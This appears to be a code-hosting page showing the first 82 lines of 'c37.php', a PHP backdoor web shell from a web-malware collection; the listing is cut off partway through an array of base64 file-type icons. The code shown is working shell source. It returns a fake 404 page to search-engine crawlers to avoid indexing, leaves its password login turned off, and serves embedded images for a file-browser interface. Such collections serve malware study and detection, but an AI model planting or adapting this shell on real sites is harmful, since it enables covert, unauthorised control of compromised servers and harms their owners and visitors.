PageRenderTime 47ms CodeModel.GetById 15ms RepoModel.GetById 0ms app.codeStats 0ms

/Backdoors/PHP/c37.php

http://web-malware-collection.googlecode.com/
PHP | 753 lines | 719 code | 25 blank | 9 comment | 224 complexity | da7bcbe65dd843fba64bbf077bb63ca3 MD5 | raw file

Large files files are truncated, but you can click here to view the full file

    

  1. <?php

    2. 

  2. /* Version 1.1 */

    3. 

  3. if (!ob_start('ob_gzhandler')) ob_start();

    4. 

  4. $Fuckers = array('bot','spider','archive','crawl','robot','search','seek','cache');

    5. 

  5. $UA = strtolower($_SERVER['HTTP_USER_AGENT']);

    6. 

  6. foreach ($Fuckers AS $BOT) {

    7. 

  7. 	if (strpos($UA,$BOT) !== FALSE) {

    8. 

  8. 		if (strpos($_SERVER['SERVER_SOFTWARE'], 'mod_fastcgi') === FALSE || strpos($_SERVER["SERVER_SOFTWARE"], 'mod_fcgi') === FALSE) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); }

    9. 

  9. 		else { header('Status: 404 Not Found'); }

    10. 

  10. 		echo '

    11. 

  11. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 

    12. 

  12. <html><head> 

    13. 

  13. <title>404 Not Found</title> 

    14. 

  14. </head><body> 

    15. 

  15. <h1>Not Found</h1> 

    16. 

  16. <p>The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.</p> 

    17. 

  17. </body></html> ';

    18. 

  18. 		die;

    19. 

  19. 	}

    20. 

  20. }

    21. 

  21. 

    22. 

  22. $Auth = FALSE;

    23. 

  23. if ($Auth !== FALSE) {

    24. 

  24. 	session_start();

    25. 

  25. 	$NoPASS = TRUE;

    26. 

  26. 	if (!empty($_SESSION['SLOGIN'])) {

    27. 

  27. 		if ($_SESSION['SLOGIN'] === $Password) { $NoPASS = FALSE; }

    28. 

  28. 	}

    29. 

  29. 	if (isset($_POST['pass'])) {

    30. 

  30. 		$ShaPass = sha1(md5($_POST['pass']));

    31. 

  31. 		if ($ShaPass === $Password) { $_SESSION['SLOGIN'] = $ShaPass; $NoPASS = FALSE; }

    32. 

  32. 		else { $WrongPass = TRUE; }

    33. 

  33. 	}

    34. 

  34. 	if ($NoPASS) {

    35. 

  35. 		echo

    36. 

  36. 		'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

    37. 

  37. 			"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

    38. 

  38. 		<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml">

    39. 

  39. 		<head>

    40. 

  40. 		<title>Log in</title>

    41. 

  41. 		</head>

    42. 

  42. 		<body style="background-color:black;color:white;">

    43. 

  43. 		<form action="" method="post" style="text-align:center;">';

    44. 

  44. 			if (isset($WrongPass)) { echo '<span style="color:red;">Wrong password, please try again.</span><br /><br />'; }

    45. 

  45. 			echo 'Please enter the password: <input type="text" id="pass" name="pass" /> <input type="submit" value="Enter" />

    46. 

  46. 		</form>

    47. 

  47. 		</body>

    48. 

  48. 		</html>';

    49. 

  49. 		die;

    50. 

  50. 	}

    51. 

  51. }

    52. 

  52. 

    53. 

  53. $IsAction = isset($_REQUEST['action']);

    54. 

  54. if ($IsAction && $_GET['action'] === 'img') {

    55. 

  55. 	header('Expires: '.date('D, d M Y H:i:s',time()+86400).' GMT');

    56. 

  56. 	header('Cache-Control: public');

    57. 

  57. 	header('Last modified: ' . date ('D, d M Y H:i:s', getlastmod()) . ' GMT');

    58. 

  58. 	if (isset($_REQUEST['image'])) {

    59. 

  59. 		if ($_REQUEST['image'] === 'backb') { header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMjhZq3UDXu24e30L5PLSYivAGeY////Be3CegAAAAh0Uk5T/////////wDeg71ZAAAAiElEQVR42mzQ2wrDMAwDUMmO0v//4/nWLIPppXCwTSM8f4L+UIhQN8qZCIcOgplmDWJFbg3UMrPQWC5lIqxCd9SwAnVZ3YiFB/s1q8uEEveYtQ5uc/c6Ujq41ZOp6+Ctua7CzVfN45eIX12qF53ZGkS/ndbapmmJOgp9+0Sx8eozmVn8NP8RYAC3HQXzIa0m6wAAAABJRU5ErkJggg=='); }

    60. 

  60. 		elseif ($_REQUEST['image'] === 'forwardb') { header('Content-Type: image/png'); echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABhQTFRFnMfgBnCmZazV7fT5HIbBzOLvSYqy////TGVm9QAAAAh0Uk5T/////////wDeg71ZAAAAiklEQVR42mzQQQ7EMAgDQAOG/P/HC4S0jbRcKo0IBWP9KeyPBrI0vhjmjUA8iE1VrbgsgqWJ0eauSlIEWmjd5u5twkiMmVYqVflwzTQytTHXW8dSrZUbmyhqhgfHaJ9O3tYzT99MzL/nSuq3SfRFUfvhGPbtSnlrbq80Lzt5YrN+8izWCn6S/wkwAOuyBcSEKJ+VAAAAAElFTkSuQmCC'); }	

    61. 

  61. 		elseif ($_REQUEST['image'] === 'c37') { header('Content-Type: image/png'); echo base64_decode('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'); }

    62. 

  62. 		header('Content-Type: image/gif');

    63. 

  63. 		if ($_REQUEST['image'] === 'dir') { echo base64_decode('R0lGODlhEQAOALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAARAA4AAARIEMlJaxUYA0vFKQVBCBsnDGg6ZNkkgHAMEkP5inhOGLV067tgD/EDGnbDoujIpNlCuibviZPupr6ClWnAElVgVQkBKJvPZ0QEADs='); }

    64. 

  64. 		elseif ($_GET['image'] === 'link') { echo base64_decode('R0lGODlhFAAVALMMADZITbzFye73/Nng5dPa3/j7/WNwdJ6preXt8n+Lj9/n7Ojy+AAAAAAAAAAAAAAAACH5BAEAAAwALAAAAAAUABUAAAS+kMlJyRKEam2XX8hGDcolFIIALpmmqCcbHEkgIIqmXkFiAEDAoaBAtBiIjyARDCYECsVAEvjwAAnfz3CLZkofRBKR9QEGuMG0A0oqDvCAwWBTKwJIsXhxMBwIBUxDagMZFntyfigBAQgFBIUZB2IlB0ADREULkQQZCQQ4CgQ1BQiEnah4CQcLUUU3aqiyCRKfUYSxsgM9E6tSp52xM3MUqwS/wjRzxL1ZB4wzWssGGmVl08siDNbY1Nq1PlrfEQA7'); }

    65. 

  65. 		elseif ($_REQUEST['image'] === 'down') { echo base64_decode('R0lGODlhFAAUAOYAAP//////AP8A//8AAAD//wD/AAAA/wAAAMK/ya6ruLCtwdHO4by6yqimu9TT5GBgb3V1hdfX5qystq6ut6qqr8bGy9DQ09ze8bu8xrCxuszO3t3f7KmrtKyutpecr8HG2JiesKyzxoiNm7O3w77G2cXN4Kmvvt3i7qauwL3ByrO7y5uhrd7k8JKYo8PK17bA0J+msqyzv7nE1dje59Ta48vV47vI2KOtudHa5b7L2sLO3Nnh6t/m7tPe6drj7Nfg6dzk7Nzj6uXr8drk7L/Izpmvsdja2omjocnd2Hedh4ysl5a9n6zQsl2wY5HQli2sMCmJLGakZwKzAgOVBArMChKOEzbNNlHeUGDgYEyqTUabR2XNZYvii6zrrOL64vP/83zee8Tyw+np6f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGMALAAAAAAUABQAAAf/gGOCg0ZRWYdaWkuDjI1MYQBfkl5RjZZjj19em5SXghYjDEpdYV2mXVEIDBiWJjk3S1xdXLRgTUQuKBWMYjdMTE5cYFhbxVlaUEcIjEEoj11gV1bTT09TVUWshCE5wVhWVFJSU9dMJR2MRigkME1XVOHjVUoLJByMFigvICtN8OLzFBApAQNfCBsyPsB4Em6KEg0aaNRYgU9FiRo1NKTI8mSJgx87ZkxkVEFGCSA4cJyggYTFDiBCdvSgOCiFDhs1ePDYcYIFDyExcfQoOAhDDhQ2dODYoXNnShU6bjDCwEJoj6s7fAwBAiQIDR4jGGUw0aKsWbMrYoRQQVNQDBEPLh5AmCsXwgMRIZIU8cAohYsVDDQ4iDCY8IYLTpA0SJchw4THkB9L4JBAAgVBgQAAOw=='); }

    66. 

  66. 		die;

    67. 

  67. 	}

    68. 

  68. 	else {

    69. 

  69. 		header('Content-Type: image/gif');

    70. 

  70. 		$_GET['ext'] = substr($_GET['ext'], 1);

    71. 

  71. 		$UnKnown = 'R0lGODlhEAAQANUAAAAAAP////7+/f39/Pz8+/v7+vr6+fn5+Pj49/38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8fj29vf19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAACH5BAEAADoALAAAAAAQABAAAAacQJ1ORSwWV8LkcEMYDAQCggD1UupWBaYTKkidqkmWIdt8ClwwmCvZYhg4ijK0ZFoLXQ03vGyGJWEODQcdexp9STEggYMcBQSGAjFJMiEPix0LjgkDMkkzFZUOCB6YjgQzSTQWIhCWH6SZGzRJNRerrROvbgU1STYktqwUILoGNkk3GBK2ERDDH3k3STgZyhcjzc8NOEk53t/g3zpBADs=';

    72. 

  72. 		if ($_GET['ext'] === '') { echo base64_decode($UnKnown); die; }

    73. 

  73. 		$ImgArray = array(

    74. 

  74. 			array('html','htm','xhtml','xht','xml','mht','mhtml','shtml','dtd','chm','xhtm'),'lhEAAQANUlAICCfJmZmSdRjfDTg01LOfDn2Ni8dauik8a3oMe/sz1urFlZWSUvPShSjbu+wU6GzM7OzoN2QIN2QbjJuJ6ulbmzrHWgx/bw6mtvdLWfYOjTsU2GzO7fxd7e3h88ZbuqkBUsQjxtrFhYWDAwMP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACUALAAAAAAQABAAAAaywJKwtBAZj8ahctFpNiuigEgpZJKupAuGJKUqPFEsBsIdCRWSAWUT8jhIAAyGYFZMOBxDBiAAOS4dFQBmDRwXGgMZIW0YHYAVIw0PhgMGIWweIAkXBR8jHhYWAwEWG5ggFQWdnxuhBmwhApmpHJ4lAq0beiIeDBgHeLYgiyEZEQQMIAAfHBq2JSAeAiIEBMoHCRrOZkMg3iIHBwjaGhncQiIJFR8ICB/vGeZKIiP19vcjQQA7',

    75. 

  75. 			array('php','phtml','php3','php4','php5','php6','phtm','phps'),'lhEAAQANUAAH5/wIB/wVRUVYuLya6tpH2Bvn19v6io0ZycnIyMxqmpqYCAvoSFwZaWwJ2dznp5v0JDQSorKhISEsLDwXd5vuTm8+Hg5ZGSkTg5NDIxMYB/wIuNi5SUx1BQUayttrW1wH57wIiGhYiIh4aGxMC+4ZeXmKKfn6SlrJ+foXJwu7e3z5iYxHh3v7693vj69qysqqqprqyqq6Cfyq+ur8TE1bu8xk9PTnx8v2FiYXR1aYODfX+AwICAwYCAv////4CAwCH5BAAAAAAALAAAAAAQABAAAAaxwEDvF9Dwdj3eIrDj/Z6/XWCR3O2evQA0Srw6ecesE6v9GR8UA0+z+I2b1l5PReOANHjoOjDov3IkFAV9AAZRPA0xCAcoGTMOK4oyCQAAAwoSAiGYAiKcOjQAPAMINj4RGx2nqacfBpYoEBYQFxAuGbUWGDWvlxIYHic4FgImvzA0BnwlEBUMCQcpLQjNIw9SIxMEBxQADzwB2gcsPEM9HA4MAFvo6lsGN+vv8Vv19ltBADs=',

    76. 

  76. 			array('asp','asphtml'),'lhEAAQAOYAAAAAAP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx8fDw8O/v7+3t7enp6eXl5ePj4+Hh4d7e3tvb29ra2tnZ2dfX19bW1tPT09HR0c/Pz83NzczMzMrKysnJycfHx8TExMPDw8DAwL6+vr29vby8vLq6urm5ubW1tbGxsa6urq2trampqaenp6ampqOjo6KioqGhoaCgoJycnJqampeXl5aWlpWVlZGRkYyMjIuLi4iIiIaGhoWFhYKCgn9/f35+fnx8fHh4eHZ2dnR0dHJycm5ubmlpaWRkZF9fX1lZWVhYWFdXV01NTUxMTElJSUVFRUREREBAQD4+Pjs7Ozk5OTg4ODU1NTQ0NDIyMjAwMC4uLi0tLSwsLCsrKyoqKikpKSgoKCQkJCMjIyIiIh8fHx4eHh0dHRwcHBoaGhkZGRgYGBcXFxYWFhMTExEREQ8PDwwMDAkJCQgICAcHBwYGBgEBAf///wAAAAAAAAAAACH5BAEAAHwALAAAAAAQABAAAAf8gAgDBwYFBQEJBAIFggEFBAwRCocCCYgPBAUCAwMCHzUtIyMmISIqOxwJCIQFKEU6Li4/PzcvMBgBuY4VHjpbPiApUFxCEz9JRDsPDgFGAFEFQnoAeUdlAAB1QAsGVgBmGF5yNlVLcGY+dGIDF2hteCxqcEM5G3NUEWFvAStyQQA0lGDbgqPNHCwApgjgoacJACQWnGgBAEeOnjVZVARIgg3AFyEyWpzZAyALCQ0FGHQhQ4QNtjtM7IABcGVAAAYW3OTYGOeJGgBpaoyRAsGQhBcZEHSYQeFEjw4DYpQgcADBggACDggIYCBXplyJBDRIwGAQgUEGBhQ6pCoQADs=',

    77. 

  77. 			array('aspx','armx','asax','ashx','asmx','axd'),'lhEAAQAKIFAP///4Kj1cfS6CBHnV5/vv///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANXWLTcrUGIQOK0gRIBwOwdB1Je6FVc5AUeJwKqKrXrCwoEOOZg4w0DHY0AHCyADuNCUATOABVTJ1CcDD7ECbOJG2R0kSK0+yUat8ENMcODpZrw+KAglxcSADs=',

    78. 

  78. 			array('txt','ans','asc','rtf','doc','dot','mcw','docx','dotx','log'),'lhEAAQANU+ALq6uvz8+7i4uPv7+uDh476+vvj39vj39/r6+fz7+/b19Pn49/Pz9vr5+fn4+LW1teXl6PXz8/v6+fv6+rOzs/X09LGxsfz7+vf19fTy8p2dnfn5+IaGhvf29djY2q2trff29pCQkPr5+KysrPb29uDf3/Py8ebl5fr6+vb19by8vP38/MXFxfPy8vP08/Lw8PPx8fLy8r29vf38+/X087+/v/Tz87u7u8rKyv7+/f39/MDAwHl5ecjW4P///wAAACH5BAEAAD4ALAAAAAAQABAAAAaWQJ9vt2MQjcUdSsjcJQoeHTRQwAFcTF9tQIDoujkCi3SLMWWIQSKg0+VyAIEAwFSJEJML2507lehCAD2DhIU9AkwCBgsbDXkBK3yIQg+Glg9MFCkdi40SAwEzOhRMFpaGFkwfERUKnAcODZ8JH0wjp4UjTBotGawKGCCwdxpMIbiEIUwcLzAmGTY0wMILHEw82Nna2T5BADs=',

    79. 

  79. 			array('jsp','jar','j','jad','jav','java','jsp10','class'),'lhEAAQAOYAAAAAAP///6/A0M7X31l5k1t7lV19l159ll9+l26NpnaQpXSNoomhtZCnuomer5asv5+1yJusuqy9zKqwtUhmfFl6lFh5k1Zyh1ZxhV15jmiGnWeEm2yHm3uUqIKbr4egtIier4edromerqu7x7C9x9Xa3j1cck9sgWSAlGB5i6azvLC9xrfCytjb3bbCyeCwgOh1DOl6E+l+GuSCJOuFJuqEJumKM+yOOOi0guq4ie27jOi9lOvRuvDZxP39/fz8/Pv7+/r6+vn5+ff39/b29vX19fT09PPz8/Dw8O/v7+7u7u3t7ezs7Orq6unp6ejo6Ofn5+bm5uXl5eTk5OPj4+Li4uHh4eDg4N/f397e3t3d3dzc3Nvb29nZ2djY2NbW1tXV1dTU1P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGIALAAAAAAQABAAAAffgAMCEISFhoQCAxIlRUOOj0aPRSUSD0s/Ppk+P0Y9QZk/Sw8NTECmQEFHOjdFp0wNDE5Cs0JIOTRJPEWzTgweUETBRzsyUDg1R8FQHh1TR89IMdHSSM9THQtWSNtMNlYwTExUUUpWCxxZS05aWlkzL1lUCiJVWxwoW01RFQYaBRUaIuwD4QVFhi5QqFBh4cLFChItvCBwACbDhS9TplzZYIGAhQ1XDoS4EubCCS5QsGzpwrJlFylQuJyggOXJiA8JcupM0IQJFgoYJjyBQrSo0SYTMKhIYaKp06dNU6gIBAA7',

    80. 

  80. 			array('cfm','cfml','cfc'),'lhFAAUAMQAABRBY1uOsmmfvlSEqBtHaWSauj1sjlyStu7y8kV1mTRihJawwmeMpUt8oH6Zqtzk6WyRqyZSdM3a4/j6+sDP2q3Bz+Xs7ll8lIKjt3eZtEdxjnKNpFuDnwAAAAAAAAAAACH5BAAAAAAALAAAAAAUABQAAAXH4FEUQimMxXEEQzs0TUKaJaqyLZzIdJ2uuFdMNvP9grodyhYI5pIGlTSwkFgemOQuYTA0m4PK5EGRLAYQBoPD7boGmQlFmMgg7o+Lwp0TQ2ANBnELHAwaBgoKgAkUFgNbBhATDhF7iQpbjBaBO5EIDxIVl5idCxMQe4gMCBULDgqVEV2IHAgSHAaHqwwRsb2ziA4WtlgXExu9yZWjERcYrl0OBsoRBKOJyQS92tsE3tTg3d7eAOHV4+gA6gDo7ePr8OwE8fT1IQA7',

    81. 

  81. 			array('png','gif','jpg','jpeg','bmp','ico','jfif','mng','nitf','pbm','pcx','pgm','pict','tga','tiff','tif','xbm','psd','jpx','jp2','rle','dib','rle','dcm','fxg','psb','iff','pxr','pdd','dds'),'lhEAAQANU/AMfY2PPz80eJbtX8/+z//7vE2HbX/zeH1om7zqSkpLDO9bPg/5bR/y9qbaurq56enuL9/y5smvz8/FGCo1Wmi/n5+cHy/+7u7tr//yNaL2mog0R8oZ/K2CdSZHaYsIjB2GK1/7CwsIy77G+w0sP7/0yR2XKn3IK/vcXc/0FrY3K//3CwrhtATluHjT18XH6y5pzGz1qt/8/n6TiDwUmAWV2Z1HGijXSilODf2cz0/0GJwuvr67KyspmZmf///////yH5BAEAAD8ALAAAAAAQABAAAAamwJ9wSCwaj0SecslsKn3QqFT6PFivhxHnw4H5eCFfSQWKkRkkAsHw8YVCEg4EslgwGBbIwIKQhBwVMgMEPgM5FhYDAz4AFQ6ALTcYBBiLlJWNDgkVKTQaCBA+aoSMFQkJARmqNAIaFCsjJzI4AacXLB0dDbsCLgICFDcBDw8XETM6NTUmJi8iCigFF8Q7EREbGxPaEx7dHjsPPTvj5OXlPejp6uvoQQA7',

    82. 

